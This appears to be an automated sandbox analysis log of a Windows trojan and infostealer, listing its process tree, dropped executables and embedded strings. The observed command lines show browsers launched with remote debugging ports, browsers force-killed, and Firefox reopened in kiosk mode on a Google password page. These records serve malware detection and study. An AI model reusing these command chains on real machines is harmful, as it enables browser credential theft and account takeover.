Source: DocumentsKECBFBAEBK.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: a4be4c0327.exe.25.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.25.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.23.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@109/318@89/34

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCD0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CCD0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\J5W577BV.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6088:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\b2540375-96ff-445c-8dda-4eb4e7fb2f31.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.1643974936.000000001D535000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1731028105.000000001D529000.00000004.00000020.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363058065.00000000056E4000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2385857659.00000000056DC000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2363427645.00000000056C5000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001C.00000003.2386124351.00000000056CB000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2611127014.00000000056FF000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2557166049.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, d7f88d1a57.exe, 0000001F.00000003.2555851419.00000000056F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.1974417614.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1965508314.000000001D63A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsKECBFBAEBK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: a4be4c0327.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2088,i,17856904751636817292,4723582775574372775,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,17839547982440390256,1055857464074770870,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6628 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKECBFBAEBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKECBFBAEBK.exe "C:\Users\user\DocumentsKECBFBAEBK.exe"
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe "C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe "C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe "C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe "C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe "C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe"
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe "C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe"
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bea78fd9-aee6-407c-905f-2f1ca8196744} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b46406fb10 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKECBFBAEBK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2088,i,17856904751636817292,4723582775574372775,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2368,i,17839547982440390256,1055857464074770870,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6628 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\DocumentsKECBFBAEBK.exe "C:\Users\user\DocumentsKECBFBAEBK.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1992,i,16823474996808910057,805660174696705944,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKECBFBAEBK.exe "C:\Users\user\DocumentsKECBFBAEBK.exe"
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe "C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe "C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe "C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe "C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
